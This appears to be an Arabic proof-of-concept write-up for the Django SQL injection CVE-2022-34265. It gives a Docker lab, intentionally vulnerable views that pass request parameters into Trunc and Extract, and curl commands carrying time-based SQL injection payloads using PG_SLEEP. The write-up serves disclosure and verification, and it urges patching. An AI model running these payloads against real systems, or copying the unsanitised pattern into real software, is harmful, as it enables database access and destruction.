
PoC لـ CVE-2022-34265 (Django)
بدء
docker-compose build
docker-compose up -d
إيقاف
docker-compose down
تم الكشف عن ثغرة (CVE-2022-34265) في Django في 5 يوليو 2022 (بالتوقيت الأمريكي). تصف هذه المقالة مناقشتنا لهذه الثغرة ونتائج تحققنا.
ترجع هذه الثغرة إلى معالجة غير صحيحة للسلاسل عند تنفيذ SQL للوسائط الخاصة بالدالتين Trunc و Extract المستخدمتين لبيانات التاريخ في Django. من خلال تحديد معاملات الطلب كما هي في وسيط kind الخاص بـ Trunc أو وسيط lookup_name الخاص بـ ، هناك خطر من إمكانية تنفيذ جمل SQL عشوائية.
من خلال استغلال هذه الثغرة، يمكن لطرف ثالث إرسال أوامر إلى قاعدة البيانات للوصول إلى بيانات غير مصرح بها أو حذف قاعدة البيانات.
Extractالعديد من الثغرات التي تم اكتشافها في Django في الماضي كانت ثغرات حقن SQL، وتساءلنا عما إذا كانت هناك ثغرات أخرى مثل CVE-2020-7471، لذلك قمنا بفحص وسائط دوال قاعدة البيانات بدورنا، ووجدنا وسائط لم يتم تطهيرها، وأبلغ Takuto Yoshikai (المؤلف) عن ذلك إلى IPA وفريق تطوير Django.
نتيجة لذلك، في الإصدار الذي حل CVE-2022-34265:
تم اتخاذ الإجراءات التالية لمعالجة هذه المشكلات.
vuln/models.py
استخدمنا مثالاً من وثائق Django، نموذج لجدول يسجل وقت البدء والانتهاء لتاريخ.
from django.db import models
class Experiment(models.Model):
start_datetime = models.DateTimeField()
start_date = models.DateField(null=True, blank=True)
start_time = models.TimeField(null=True, blank=True)
end_datetime = models.DateTimeField(null=True, blank=True)
end_date = models.DateField(null=True, blank=True)
end_time = models.TimeField(null=True, blank=True)
vuln/views.py
from django.http.response import JsonResponse
from datetime import datetime
from django.db.models.functions import Extract, Trunc
from django.db.models import DateTimeField
from vuln.models import Experiment
from django.core import serializers
# /extract/?lookup_name=xxx
def vuln_extract(request):
payload = request.GET.get('lookup_name')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# /trunc/?kind=xxx
def vuln_trunc(request):
payload = request.GET.get('kind')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# Extract
Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
يقوم هذا بتصفية أرقام السنة في عمود start_datetime من Experiment المطابقة لسنة، شهر، يوم، ساعة، دقيقة، ثانية، إلخ من end_datetime. قد يتم تشغيل ثغرة حقن SQL من هنا.
# Trunc
Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
تُستخدم دالة Trunc لاقتطاع أجزاء محددة من السنة، الشهر، اليوم، الساعة، الدقيقة، الثانية، إلخ من بيانات التاريخ والوقت. في المثال أعلاه، start_datetime و start_datetime مع اقتطاع جزء الحمولة هما نفس السجل. هنا يمكن تشغيل ثغرة حقن SQL.
للتحقق من نجاح الهجوم، استخدم تعليمة PG_SLEEP لملاحظة ما إذا كان هناك تأخير في الوقت الذي يتم فيه إرجاع الاستجابة.
# URL عادي
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"
# URL حيث يمكن تنفيذ تعليمة قاعدة البيانات
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
لقد قمت بتحديد 5 ثوانٍ في PG_SLEEP، ولكن يبدو أن PG_SLEEP(5) يستغرق عدة ثوانٍ. يبدو أنه يتم استدعاؤه لعدة ثوانٍ اعتمادًا على التنفيذ والموقف. نظرًا لأنه يمكن تنفيذ جمل SQL عشوائية، فإن الهجمات الخطيرة مثل حذف قاعدة البيانات ممكنة.
نتيجة لمناقشتنا وتحققنا، وجدنا أن هناك احتمالًا ليس بالقليل لنجاح الهجوم اعتمادًا على التنفيذ. نوصي بتحديث نظامك في أقرب وقت ممكن لتجنب خطر DROP TABLE في أسوأ السيناريوهات.